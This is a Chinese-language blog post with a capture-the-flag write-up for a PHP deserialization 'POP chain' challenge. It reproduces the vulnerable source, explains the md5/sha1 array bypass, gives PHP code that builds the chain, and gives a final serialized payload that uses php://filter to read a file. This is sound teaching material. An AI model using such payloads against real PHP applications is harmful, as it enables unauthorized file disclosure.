bugku NUAACTF-2022 superpop

反序列化pop链学习
题目直接给了源码:

 <?php
error_reporting(0);
 
class User{
    public $username;
    public $password;
    public $variable;
    public $a;
    
    public function __construct()
    {
        $this->username = "user";
        $this->password = "user";
    }


    public function __wakeup(){
        if( ($this->username != $this->password) && (md5($this->username) === md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){
            echo "wuhu!";
            return $this->variable->xxx;
        }else{
            die("o^o");
        }
    }
}

class Login{
    public $point;
    
    public function __get($key){
        $func = $this->point;
        return $func();
    }    

}

class Read{
    public $filename;
    
    public function __invoke(){
        echo file_get_contents($this->filename.".php");
    }
}
 
if(isset($_GET['x'])){
    unserialize($_GET['x']);
}else{
    highlight_file(__FILE__);
}
?> 

首先我们要了解与反序列化有关的PHP的魔术方法

__wakeup

在__Construct被调用后接着调用

__get

当读取不可访问的属性的值的时候自动调用

__invoke

当尝试以调用函数的方式调用一个对象时自动调用

解题思路:

我们最终是想通过file_get_contents 结合php伪协议来读取flag
所以我们想要调用Read类中的invoke
而在Read类中我们可以将point的类型设置为Read类的对象 通过__get来调用
而我们要调用__get的话就需要User类中的__wakeup中的
$this->variable->xxx 来实现

有了思路后就是怎么来构造payload x 了
首先 绕过md5和sha1直接传数组即可
然后按着解题思路依次设置变量
php实现:

<?php

class User{
    public $username;
    public $password;
    public $variable;
    public $a;
    
}
class Login{
    public $point;
}

class Read{
    public $filename;
}

$user = new User();
$login = new Login();
$read = new Read();

$a = array("1");
$b = array("2");
$user->username = $a;
$user->password = $b;
$read->filename = "php://filter/convert.base64-encode/resource=flag";
$login->point = $read;
$user->variable = $login;
echo(serialize(($user)));

注意php的一些写法和技巧:
1.$a=array("1");
2.先实例化三个具体对象 便于后续的对象类型赋值
最终payload:

?x=O:4:"User":4:{s:8:"username";a:1:{i:0;s:1:"1";}s:8:"password";a:1:{i:0;s:1:"2";}s:8:"variable";O:5:"Login":1:{s:5:"point";O:4:"Read":1:{s:8:"filename";s:48:"php://filter/convert.base64-encode/resource=flag";}}s:1:"a";N;}

即可拿到flag

posted @ 2023-09-23 15:19  N0zoM1z0  阅读(37)  评论(0编辑  收藏  举报